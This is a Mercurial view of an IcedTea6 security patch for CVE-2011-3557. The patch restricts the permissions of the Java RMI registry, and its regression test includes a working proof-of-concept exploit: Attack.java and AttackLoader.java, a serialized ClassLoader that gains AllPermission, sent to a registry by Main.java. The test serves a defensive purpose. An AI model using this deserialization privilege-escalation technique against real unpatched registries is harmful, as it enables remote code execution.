Mercurial > hg > release > icedtea6-1.9
view patches/security/20111018/7083012.patch @ 2352:941103576384
Add first batch of security patches.
S7000600, CVE-2011-3547: InputStream skip() information leak
S7019773, CVE-2011-3548: mutable static AWTKeyStroke.ctor
S7023640, CVE-2011-3551: Java2D TransformHelper integer overflow
S7032417, CVE-2011-3552: excessive default UDP socket limit under SecurityManager
S7046823, CVE-2011-3544: missing SecurityManager checks in scripting engine
S7055902, CVE-2011-3521: IIOP deserialization code execution
S7057857, CVE-2011-3554: insufficient pack200 JAR files uncompress error checks
S7064341, CVE-2011-3389: JSSE
S7070134, CVE-2011-3558: Hotspot unspecified issue
S7077466, CVE-2011-3556: RMI DGC server remote code execution
S7083012, CVE-2011-3557: RMI registry privileged code execution
S7096936, CVE-2011-3560: missing checkSetFactory calls in HttpsURLConnection
2011-10-13 Andrew John Hughes <ahughes@redhat.com>
* Makefile.am: Add patches.
* NEWS: List security updates.
* patches/icedtea-rhino.patch: Change
after 7046823 is applied.
* patches/security/20111018/7000600.patch,
* patches/security/20111018/7019773.patch,
* patches/security/20111018/7023640.patch,
* patches/security/20111018/7032417.patch,
* patches/security/20111018/7046823.patch,
* patches/security/20111018/7055902.patch,
* patches/security/20111018/7057857.patch,
* patches/security/20111018/7064341.patch,
* patches/security/20111018/7070134.patch,
* patches/security/20111018/7083012.patch,
* patches/security/20111018/7096936.patch:
First batch of security patches.
author | Andrew John Hughes <ahughes@redhat.com> |
---|---|
date | Thu, 13 Oct 2011 15:04:46 +0100 |
parents | |
children | 30ddc2f3dbe4 |
line wrap: on
line source
--- openjdk/jdk/src/share/classes/sun/rmi/registry/RegistryImpl.java Fri Sep 16 10:02:57 2011 +++ openjdk/jdk/src/share/classes/sun/rmi/registry/RegistryImpl.java Fri Sep 16 10:02:42 2011 @@ -1,5 +1,5 @@ /* - * Copyright (c) 1996, 2006, Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 1996, 2011, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it @@ -38,13 +38,23 @@ import java.rmi.registry.Registry; import java.rmi.server.RMIClientSocketFactory; import java.rmi.server.RMIServerSocketFactory; +import java.security.AccessControlContext; +import java.security.AccessController; +import java.security.CodeSource; +import java.security.Policy; import java.security.PrivilegedActionException; +import java.security.PrivilegedExceptionAction; +import java.security.PermissionCollection; +import java.security.Permissions; +import java.security.ProtectionDomain; import java.text.MessageFormat; +import sun.rmi.server.LoaderHandler; import sun.rmi.server.UnicastServerRef; import sun.rmi.server.UnicastServerRef2; import sun.rmi.transport.LiveRef; import sun.rmi.transport.ObjectTable; import sun.rmi.transport.Target; +import sun.security.action.GetPropertyAction; /** * A "registry" exists on every node that allows RMI connections to @@ -324,6 +334,19 @@ URL[] urls = sun.misc.URLClassPath.pathToURLs(envcp); ClassLoader cl = new URLClassLoader(urls); + String codebaseProperty = null; + String prop = java.security.AccessController.doPrivileged( + new GetPropertyAction("java.rmi.server.codebase")); + if (prop != null && prop.trim().length() > 0) { + codebaseProperty = prop; + } + URL[] codebaseURLs = null; + if (codebaseProperty != null) { + codebaseURLs = sun.misc.URLClassPath.pathToURLs(codebaseProperty); + } else { + codebaseURLs = new URL[0]; + } + /* * Fix bugid 4242317: Classes defined by this class loader should * be annotated with the value of the "java.rmi.server.codebase" @@ -333,11 +356,19 @@ Thread.currentThread().setContextClassLoader(cl); - int regPort = Registry.REGISTRY_PORT; - if (args.length >= 1) { - regPort = Integer.parseInt(args[0]); + final int regPort = (args.length >= 1) ? Integer.parseInt(args[0]) + : Registry.REGISTRY_PORT; + try { + registry = AccessController.doPrivileged( + new PrivilegedExceptionAction<RegistryImpl>() { + public RegistryImpl run() throws RemoteException { + return new RegistryImpl(regPort); + } + }, getAccessControlContext(codebaseURLs)); + } catch (PrivilegedActionException ex) { + throw (RemoteException) ex.getException(); } - registry = new RegistryImpl(regPort); + // prevent registry from exiting while (true) { try { @@ -356,5 +387,47 @@ e.printStackTrace(); } System.exit(1); + } + + /** + * Generates an AccessControlContext from several URLs. + * The approach used here is taken from the similar method + * getAccessControlContext() in the sun.applet.AppletPanel class. + */ + private static AccessControlContext getAccessControlContext(URL[] urls) { + // begin with permissions granted to all code in current policy + PermissionCollection perms = AccessController.doPrivileged( + new java.security.PrivilegedAction<PermissionCollection>() { + public PermissionCollection run() { + CodeSource codesource = new CodeSource(null, + (java.security.cert.Certificate[]) null); + Policy p = java.security.Policy.getPolicy(); + if (p != null) { + return p.getPermissions(codesource); + } else { + return new Permissions(); + } + } + }); + + /* + * Anyone can connect to the registry and the registry can connect + * to and possibly download stubs from anywhere. Downloaded stubs and + * related classes themselves are more tightly limited by RMI. + */ + perms.add(new SocketPermission("*", "connect,accept")); + + // add permissions required to load from codebase URL path + LoaderHandler.addPermissionsForURLs(urls, perms, false); + + /* + * Create an AccessControlContext that consists of a single + * protection domain with only the permissions calculated above. + */ + ProtectionDomain pd = new ProtectionDomain( + new CodeSource((urls.length > 0 ? urls[0] : null), + (java.security.cert.Certificate[]) null), + perms); + return new AccessControlContext(new ProtectionDomain[] { pd }); } } --- openjdk/jdk/src/share/classes/sun/rmi/server/LoaderHandler.java Fri Sep 16 10:03:34 2011 +++ openjdk/jdk/src/share/classes/sun/rmi/server/LoaderHandler.java Fri Sep 16 10:03:20 2011 @@ -1,5 +1,5 @@ /* - * Copyright (c) 1996, 2005, Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 1996, 2011, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it @@ -1028,7 +1028,7 @@ * loader. A given permission is only added to the collection if * it is not already implied by the collection. */ - private static void addPermissionsForURLs(URL[] urls, + public static void addPermissionsForURLs(URL[] urls, PermissionCollection perms, boolean forLoader) { --- /dev/null Fri Sep 16 10:04:16 2011 +++ openjdk/jdk/test/sun/rmi/registry/7083012/altreg/Registry.java Fri Sep 16 10:04:03 2011 @@ -0,0 +1,192 @@ +/* + * Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved. + * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. + * + * This code is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License version 2 only, as + * published by the Free Software Foundation. + * + * This code is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License + * version 2 for more details (a copy is included in the LICENSE file that + * accompanied this code). + * + * You should have received a copy of the GNU General Public License version + * 2 along with this work; if not, write to the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. + * + * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA + * or visit www.oracle.com if you need additional information or have any + * questions. + */ + +package java.rmi.registry; + +import java.rmi.AccessException; +import java.rmi.AlreadyBoundException; +import java.rmi.NotBoundException; +import java.rmi.Remote; +import java.rmi.RemoteException; + +/** + * <code>Registry</code> is a remote interface to a simple remote + * object registry that provides methods for storing and retrieving + * remote object references bound with arbitrary string names. The + * <code>bind</code>, <code>unbind</code>, and <code>rebind</code> + * methods are used to alter the name bindings in the registry, and + * the <code>lookup</code> and <code>list</code> methods are used to + * query the current name bindings. + * + * <p>In its typical usage, a <code>Registry</code> enables RMI client + * bootstrapping: it provides a simple means for a client to obtain an + * initial reference to a remote object. Therefore, a registry's + * remote object implementation is typically exported with a + * well-known address, such as with a well-known {@link + * java.rmi.server.ObjID#REGISTRY_ID ObjID} and TCP port number + * (default is {@link #REGISTRY_PORT 1099}). + * + * <p>The {@link LocateRegistry} class provides a programmatic API for + * constructing a bootstrap reference to a <code>Registry</code> at a + * remote address (see the static <code>getRegistry</code> methods) + * and for creating and exporting a <code>Registry</code> in the + * current VM on a particular local address (see the static + * <code>createRegistry</code> methods). + * + * <p>A <code>Registry</code> implementation may choose to restrict + * access to some or all of its methods (for example, methods that + * mutate the registry's bindings may be restricted to calls + * originating from the local host). If a <code>Registry</code> + * method chooses to deny access for a given invocation, its + * implementation may throw {@link java.rmi.AccessException}, which + * (because it extends {@link java.rmi.RemoteException}) will be + * wrapped in a {@link java.rmi.ServerException} when caught by a + * remote client. + * + * <p>The names used for bindings in a <code>Registry</code> are pure + * strings, not parsed. A service which stores its remote reference + * in a <code>Registry</code> may wish to use a package name as a + * prefix in the name binding to reduce the likelihood of name + * collisions in the registry. + * + * @author Ann Wollrath + * @author Peter Jones + * @version %I%, %E% + * @since JDK1.1 + * @see LocateRegistry + */ +public interface Registry extends Remote { + + /** Well known port for registry. */ + public static final int REGISTRY_PORT = 1099; + + /** + * Returns the remote reference bound to the specified + * <code>name</code> in this registry. + * + * @param name the name for the remote reference to look up + * + * @return a reference to a remote object + * + * @throws NotBoundException if <code>name</code> is not currently bound + * + * @throws RemoteException if remote communication with the + * registry failed; if exception is a <code>ServerException</code> + * containing an <code>AccessException</code>, then the registry + * denies the caller access to perform this operation + * + * @throws AccessException if this registry is local and it denies + * the caller access to perform this operation + * + * @throws NullPointerException if <code>name</code> is <code>null</code> + */ + public Remote lookup(Object name) + throws RemoteException, NotBoundException, AccessException; + + /** + * Binds a remote reference to the specified <code>name</code> in + * this registry. + * + * @param name the name to associate with the remote reference + * @param obj a reference to a remote object (usually a stub) + * + * @throws AlreadyBoundException if <code>name</code> is already bound + * + * @throws RemoteException if remote communication with the + * registry failed; if exception is a <code>ServerException</code> + * containing an <code>AccessException</code>, then the registry + * denies the caller access to perform this operation (if + * originating from a non-local host, for example) + * + * @throws AccessException if this registry is local and it denies + * the caller access to perform this operation + * + * @throws NullPointerException if <code>name</code> is + * <code>null</code>, or if <code>obj</code> is <code>null</code> + */ + public void bind(String name, Remote obj) + throws RemoteException, AlreadyBoundException, AccessException; + + /** + * Removes the binding for the specified <code>name</code> in + * this registry. + * + * @param name the name of the binding to remove + * + * @throws NotBoundException if <code>name</code> is not currently bound + * + * @throws RemoteException if remote communication with the + * registry failed; if exception is a <code>ServerException</code> + * containing an <code>AccessException</code>, then the registry + * denies the caller access to perform this operation (if + * originating from a non-local host, for example) + * + * @throws AccessException if this registry is local and it denies + * the caller access to perform this operation + * + * @throws NullPointerException if <code>name</code> is <code>null</code> + */ + public void unbind(String name) + throws RemoteException, NotBoundException, AccessException; + + /** + * Replaces the binding for the specified <code>name</code> in + * this registry with the supplied remote reference. If there is + * an existing binding for the specified <code>name</code>, it is + * discarded. + * + * @param name the name to associate with the remote reference + * @param obj a reference to a remote object (usually a stub) + * + * @throws RemoteException if remote communication with the + * registry failed; if exception is a <code>ServerException</code> + * containing an <code>AccessException</code>, then the registry + * denies the caller access to perform this operation (if + * originating from a non-local host, for example) + * + * @throws AccessException if this registry is local and it denies + * the caller access to perform this operation + * + * @throws NullPointerException if <code>name</code> is + * <code>null</code>, or if <code>obj</code> is <code>null</code> + */ + public void rebind(String name, Remote obj) + throws RemoteException, AccessException; + + /** + * Returns an array of the names bound in this registry. The + * array will contain a snapshot of the names bound in this + * registry at the time of the given invocation of this method. + * + * @return an array of the names bound in this registry + * + * @throws RemoteException if remote communication with the + * registry failed; if exception is a <code>ServerException</code> + * containing an <code>AccessException</code>, then the registry + * denies the caller access to perform this operation + * + * @throws AccessException if this registry is local and it denies + * the caller access to perform this operation + */ + public String[] list() throws RemoteException, AccessException; +} --- /dev/null Fri Sep 16 10:04:45 2011 +++ openjdk/jdk/test/sun/rmi/registry/7083012/altreg/RegistryImpl.java Fri Sep 16 10:04:34 2011 @@ -0,0 +1,358 @@ +/* + * Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved. + * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. + * + * This code is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License version 2 only, as + * published by the Free Software Foundation. + * + * This code is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License + * version 2 for more details (a copy is included in the LICENSE file that + * accompanied this code). + * + * You should have received a copy of the GNU General Public License version + * 2 along with this work; if not, write to the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. + * + * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA + * or visit www.oracle.com if you need additional information or have any + * questions. + */ + +package sun.rmi.registry; + +import java.util.Enumeration; +import java.util.Hashtable; +import java.util.MissingResourceException; +import java.util.ResourceBundle; +import java.io.IOException; +import java.net.*; +import java.rmi.*; +import java.rmi.server.ObjID; +import java.rmi.server.RemoteServer; +import java.rmi.server.ServerNotActiveException; +import java.rmi.registry.Registry; +import java.rmi.server.RMIClientSocketFactory; +import java.rmi.server.RMIServerSocketFactory; +import java.security.PrivilegedActionException; +import java.text.MessageFormat; +import sun.rmi.server.UnicastServerRef; +import sun.rmi.server.UnicastServerRef2; +import sun.rmi.transport.LiveRef; +import sun.rmi.transport.ObjectTable; +import sun.rmi.transport.Target; + +/** + * A "registry" exists on every node that allows RMI connections to + * servers on that node. The registry on a particular node contains a + * transient database that maps names to remote objects. When the + * node boots, the registry database is empty. The names stored in the + * registry are pure and are not parsed. A service storing itself in + * the registry may want to prefix its name of the service by a package + * name (although not required), to reduce name collisions in the + * registry. + * + * The LocateRegistry class is used to obtain registry for different hosts. + * + * @see java.rmi.registry.LocateRegistry + */ +public class RegistryImpl extends java.rmi.server.RemoteServer + implements Registry +{ + + /* indicate compatibility with JDK 1.1.x version of class */ + private static final long serialVersionUID = 4666870661827494597L; + private Hashtable bindings = new Hashtable(101); + private static Hashtable allowedAccessCache = new Hashtable(3); + private static RegistryImpl registry; + private static ObjID id = new ObjID(ObjID.REGISTRY_ID); + + private static ResourceBundle resources = null; + + /** + * Construct a new RegistryImpl on the specified port with the + * given custom socket factory pair. + */ + public RegistryImpl(int port, + RMIClientSocketFactory csf, + RMIServerSocketFactory ssf) + throws RemoteException + { + LiveRef lref = new LiveRef(id, port, csf, ssf); + setup(new UnicastServerRef2(lref)); + } + + /** + * Construct a new RegistryImpl on the specified port. + */ + public RegistryImpl(int port) + throws RemoteException + { + LiveRef lref = new LiveRef(id, port); + setup(new UnicastServerRef(lref)); + } + + /* + * Create the export the object using the parameter + * <code>uref</code> + */ + private void setup(UnicastServerRef uref) + throws RemoteException + { + /* Server ref must be created and assigned before remote + * object 'this' can be exported. + */ + ref = uref; + uref.exportObject(this, null, true); + } + + /** + * Returns the remote object for specified name in the registry. + * @exception RemoteException If remote operation failed. + * @exception NotBound If name is not currently bound. + */ + public Remote lookup(Object name) + throws RemoteException, NotBoundException + { + synchronized (bindings) { + Remote obj = (Remote)bindings.get(name); + if (obj == null) + throw new NotBoundException(); + return obj; + } + } + + /** + * Binds the name to the specified remote object. + * @exception RemoteException If remote operation failed. + * @exception AlreadyBoundException If name is already bound. + */ + public void bind(String name, Remote obj) + throws RemoteException, AlreadyBoundException, AccessException + { + checkAccess("Registry.bind"); + synchronized (bindings) { + Remote curr = (Remote)bindings.get(name); + if (curr != null) + throw new AlreadyBoundException(name); + bindings.put(name, obj); + } + } + + /** + * Unbind the name. + * @exception RemoteException If remote operation failed. + * @exception NotBound If name is not currently bound. + */ + public void unbind(String name) + throws RemoteException, NotBoundException, AccessException + { + checkAccess("Registry.unbind"); + synchronized (bindings) { + Remote obj = (Remote)bindings.get(name); + if (obj == null) + throw new NotBoundException(name); + bindings.remove(name); + } + } + + /** + * Rebind the name to a new object, replaces any existing binding. + * @exception RemoteException If remote operation failed. + */ + public void rebind(String name, Remote obj) + throws RemoteException, AccessException + { + checkAccess("Registry.rebind"); + bindings.put(name, obj); + } + + /** + * Returns an enumeration of the names in the registry. + * @exception RemoteException If remote operation failed. + */ + public String[] list() + throws RemoteException + { + String[] names; + synchronized (bindings) { + int i = bindings.size(); + names = new String[i]; + Enumeration enum_ = bindings.keys(); + while ((--i) >= 0) + names[i] = (String)enum_.nextElement(); + } + return names; + } + + /** + * Check that the caller has access to perform indicated operation. + * The client must be on same the same host as this server. + */ + public static void checkAccess(String op) throws AccessException { + + try { + /* + * Get client host that this registry operation was made from. + */ + final String clientHostName = getClientHost(); + InetAddress clientHost; + + try { + clientHost = (InetAddress) + java.security.AccessController.doPrivileged( + new java.security.PrivilegedExceptionAction() { + public Object run() + throws java.net.UnknownHostException + { + return InetAddress.getByName(clientHostName); + } + }); + } catch (PrivilegedActionException pae) { + throw (java.net.UnknownHostException) pae.getException(); + } + + // if client not yet seen, make sure client allowed access + if (allowedAccessCache.get(clientHost) == null) { + + if (clientHost.isAnyLocalAddress()) { + throw new AccessException( + "Registry." + op + " disallowed; origin unknown"); + } + + try { + final InetAddress finalClientHost = clientHost; + + java.security.AccessController.doPrivileged( + new java.security.PrivilegedExceptionAction() { + public Object run() throws java.io.IOException { + /* + * if a ServerSocket can be bound to the client's + * address then that address must be local + */ + (new ServerSocket(0, 10, finalClientHost)).close(); + allowedAccessCache.put(finalClientHost, + finalClientHost); + return null; + } + }); + } catch (PrivilegedActionException pae) { + // must have been an IOException + + throw new AccessException( + "Registry." + op + " disallowed; origin " + + clientHost + " is non-local host"); + } + } + } catch (ServerNotActiveException ex) { + /* + * Local call from this VM: allow access. + */ + } catch (java.net.UnknownHostException ex) { + throw new AccessException("Registry." + op + + " disallowed; origin is unknown host"); + } + } + + public static ObjID getID() { + return id; + } + + /** + * Retrieves text resources from the locale-specific properties file. + */ + private static String getTextResource(String key) { + if (resources == null) { + try { + resources = ResourceBundle.getBundle( + "sun.rmi.registry.resources.rmiregistry"); + } catch (MissingResourceException mre) { + } + if (resources == null) { + // throwing an Error is a bit extreme, methinks + return ("[missing resource file: " + key + "]"); + } + } + + String val = null; + try { + val = resources.getString(key); + } catch (MissingResourceException mre) { + } + + if (val == null) { + return ("[missing resource: " + key + "]"); + } else { + return (val); + } + } + + /** + * Main program to start a registry. <br> + * The port number can be specified on the command line. + */ + public static void main(String args[]) + { + // Create and install the security manager if one is not installed + // already. + if (System.getSecurityManager() == null) { + System.setSecurityManager(new RMISecurityManager()); + } + + try { + /* + * Fix bugid 4147561: When JDK tools are executed, the value of + * the CLASSPATH environment variable for the shell in which they + * were invoked is no longer incorporated into the application + * class path; CLASSPATH's only effect is to be the value of the + * system property "env.class.path". To preserve the previous + * (JDK1.1 and JDK1.2beta3) behavior of this tool, however, its + * CLASSPATH should still be considered when resolving classes + * being unmarshalled. To effect this old behavior, a class + * loader that loads from the file path specified in the + * "env.class.path" property is created and set to be the context + * class loader before the remote object is exported. + */ + String envcp = System.getProperty("env.class.path"); + if (envcp == null) { + envcp = "."; // preserve old default behavior + } + URL[] urls = sun.misc.URLClassPath.pathToURLs(envcp); + ClassLoader cl = new URLClassLoader(urls); + + /* + * Fix bugid 4242317: Classes defined by this class loader should + * be annotated with the value of the "java.rmi.server.codebase" + * property, not the "file:" URLs for the CLASSPATH elements. + */ + sun.rmi.server.LoaderHandler.registerCodebaseLoader(cl); + + Thread.currentThread().setContextClassLoader(cl); + + int regPort = Registry.REGISTRY_PORT; + if (args.length >= 1) { + regPort = Integer.parseInt(args[0]); + } + registry = new RegistryImpl(regPort); + // prevent registry from exiting + while (true) { + try { + Thread.sleep(Long.MAX_VALUE); + } catch (InterruptedException e) { + } + } + } catch (NumberFormatException e) { + System.err.println(MessageFormat.format( + getTextResource("rmiregistry.port.badnumber"), + args[0] )); + System.err.println(MessageFormat.format( + getTextResource("rmiregistry.usage"), + "rmiregistry" )); + } catch (Exception e) { + e.printStackTrace(); + } + System.exit(1); + } +} --- /dev/null Fri Sep 16 10:05:16 2011 +++ openjdk/jdk/test/sun/rmi/registry/7083012/Attack.java Fri Sep 16 10:05:05 2011 @@ -0,0 +1,41 @@ +/* + * Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved. + * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. + * + * This code is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License version 2 only, as + * published by the Free Software Foundation. + * + * This code is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License + * version 2 for more details (a copy is included in the LICENSE file that + * accompanied this code). + * + * You should have received a copy of the GNU General Public License version + * 2 along with this work; if not, write to the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. + * + * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA + * or visit www.oracle.com if you need additional information or have any + * questions. + */ + +import java.io.*; +import java.security.*; + +public class Attack implements PrivilegedExceptionAction<Void> { + public Void run() throws IOException { + String filename = "pwnd.txt"; + System.out.println("Attack: running with elevated permissions"); + FileWriter fw = new FileWriter(filename); + fw.write("You've just been pwned!\n"); + fw.close(); + System.out.println("BAD: successfully wrote to local filesystem"); + return null; + } + + public Attack() throws PrivilegedActionException { + AccessController.doPrivileged(this); + } +} --- /dev/null Fri Sep 16 10:05:47 2011 +++ openjdk/jdk/test/sun/rmi/registry/7083012/AttackLoader.java Fri Sep 16 10:05:33 2011 @@ -0,0 +1,51 @@ +/* + * Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved. + * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. + * + * This code is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License version 2 only, as + * published by the Free Software Foundation. + * + * This code is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License + * version 2 for more details (a copy is included in the LICENSE file that + * accompanied this code). + * + * You should have received a copy of the GNU General Public License version + * 2 along with this work; if not, write to the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. + * + * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA + * or visit www.oracle.com if you need additional information or have any + * questions. + */ + +import java.io.*; +import java.security.*; + +public class AttackLoader extends ClassLoader implements java.io.Serializable { + public AttackLoader() { } + + public Object readResolve() throws ObjectStreamException, ClassFormatError, + InstantiationException, IllegalAccessException, + PrivilegedActionException, IOException { + System.out.println("AttackLoader: readResolve()"); + + byte[] classbytes = new byte[100000]; // should be big enough + InputStream in = getClass().getResourceAsStream("/Attack.class"); + int len = in.read(classbytes); + + AllPermission ap = new AllPermission(); + PermissionCollection pc = ap.newPermissionCollection(); + pc.add(ap); + ProtectionDomain pd = new ProtectionDomain( + new CodeSource(null, (CodeSigner[])null), pc); + + System.out.println("AttackLoader: calling defineClass()"); + Class<?> clazz = defineClass(null, classbytes, 0, len, pd); + System.out.println("AttackLoader: instantiating loaded class"); + Object obj = clazz.newInstance(); + return this; + } +} --- /dev/null Fri Sep 16 10:06:20 2011 +++ openjdk/jdk/test/sun/rmi/registry/7083012/Main.java Fri Sep 16 10:06:08 2011 @@ -0,0 +1,42 @@ +/* + * Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved. + * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. + * + * This code is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License version 2 only, as + * published by the Free Software Foundation. + * + * This code is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License + * version 2 for more details (a copy is included in the LICENSE file that + * accompanied this code). + * + * You should have received a copy of the GNU General Public License version + * 2 along with this work; if not, write to the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. + * + * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA + * or visit www.oracle.com if you need additional information or have any + * questions. + */ + +import java.rmi.RemoteException; +import java.rmi.NotBoundException; +import java.rmi.registry.Registry; +import java.rmi.registry.LocateRegistry; + +public class Main { + public static void main(String args[]) + throws RemoteException, NotBoundException { + Registry registry; + if (args.length > 0) { + System.out.println("attacking registry at " + args[0]); + registry = LocateRegistry.getRegistry(args[0]); + } else { + System.out.println("attacking local registry"); + registry = LocateRegistry.getRegistry(); + } + registry.lookup(new AttackLoader()); + } +} --- /dev/null Fri Sep 16 10:06:47 2011 +++ openjdk/jdk/test/sun/rmi/registry/7083012/Test7083012.sh Fri Sep 16 10:06:37 2011 @@ -0,0 +1,129 @@ +# +# Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved. +# DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. +# +# This code is free software; you can redistribute it and/or modify it +# under the terms of the GNU General Public License version 2 only, as +# published by the Free Software Foundation. +# +# This code is distributed in the hope that it will be useful, but WITHOUT +# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or +# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License +# version 2 for more details (a copy is included in the LICENSE file that +# accompanied this code). +# +# You should have received a copy of the GNU General Public License version +# 2 along with this work; if not, write to the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. +# +# Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA +# or visit www.oracle.com if you need additional information or have any +# questions. +# + +# @test +# @bug 7083012 +# @summary new bug to cover the vulnerability with the RMI Registry +# @run shell/timeout=100 Test7083012.sh + +OS=`uname -s` +case "$OS" in + SunOS | Linux ) + PS=":" + FS="/" + ;; + Windows* | CYGWIN* ) + PS=";" + FS="\\" + ;; + * ) + echo "Unrecognized system!" + exit 1; + ;; +esac + +# Look in various places for JDK boot files for rmic. +RMIC_BOOT= +for f in \ + ${TESTJAVA}${FS}jre${FS}lib${FS}rt.jar \ + ${TESTJAVA}${FS}lib${FS}rt.jar \ + ${TESTJAVA}${FS}classes ; do + if [ -f "$f" -o -d "$f" ] ; then + RMIC_BOOT="$f" + break + fi +done + +if [ -z "$RMIC_BOOT" ]; then + echo "No boot classes found. Needed for this test. Exiting." + exit 1; +fi + +echo RMIC_BOOT=$RMIC_BOOT + +RMIC_OUT=rmic.out +REGISTRY_DIR=sun${FS}rmi${FS}registry +RMIREG_OUT=rmireg_out.txt + +cp -r ${TESTSRC}${FS}altreg . +cp ${TESTSRC}${FS}*java . + +mkdir rmi_tmp +cd rmi_tmp +#start rmiregistry without any local classes on classpath +${TESTJAVA}${FS}bin${FS}rmiregistry > ..${FS}${RMIREG_OUT} 2>&1 & +RMIREG_PID=$! +# allow some time to start +sleep 5 +cd .. + +# do altreg stuff +cd altreg +mkdir classes ${RMIC_OUT} +${TESTJAVA}${FS}bin${FS}javac -d classes Registry.java RegistryImpl.java +${TESTJAVA}${FS}bin${FS}rmic -keepgenerated -v1.1 \ + -bootclasspath classes${PS}${RMIC_BOOT} \ + -d ${RMIC_OUT} sun.rmi.registry.RegistryImpl + +mv ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Skel.java ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Skel.java.orig +sed 's/\(long interfaceHash\).*$/\1 = 4905912898345647071L;/' \ + ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Skel.java.orig > ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Skel.java + +mv ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Stub.java ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Stub.java.orig +sed 's/\(long interfaceHash\).*$/\1 = 4905912898345647071L;/' \ + ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Stub.java.orig > ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Stub.java + +${TESTJAVA}${FS}bin${FS}javac -d classes -Xbootclasspath/p:classes ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Skel.java ${RMIC_OUT}${FS}${REGISTRY_DIR}${FS}RegistryImpl_Stub.java + +${TESTJAVA}${FS}bin${FS}jar -cf altreg.jar -C classes . + +cd .. + +${TESTJAVA}${FS}bin${FS}javac Attack.java AttackLoader.java +${TESTJAVA}${FS}bin${FS}jar -cf attack.jar Attack.class AttackLoader.class + +${TESTJAVA}${FS}bin${FS}javac -Xbootclasspath/p:altreg/altreg.jar -cp attack.jar Main.java +${TESTJAVA}${FS}bin${FS}java -Xbootclasspath/p:altreg/altreg.jar -cp .${PS}attack.jar \ + -Djava.rmi.server.codebase="file:///`pwd`/attack.jar" Main + +#done - kill rmiregistry and check result +sleep 1 +kill -9 ${RMIREG_PID} + +#wait for process to die +sleep 3 + +# Test is successful if rmiregistry was silent. +if [ -s ${RMIREG_OUT} ]; then + # rmiregistry log file has messages in it; show them + echo ========== ${RMIREG_OUT} ========== + cat ${RMIREG_OUT} + echo ========== end of ${RMIREG_OUT} ========== + echo "Failed" + exitCode=1; +else + echo "Passed" + exitCode=0 +fi +rm -rf ${RMIREG_OUT} +exit ${exitCode}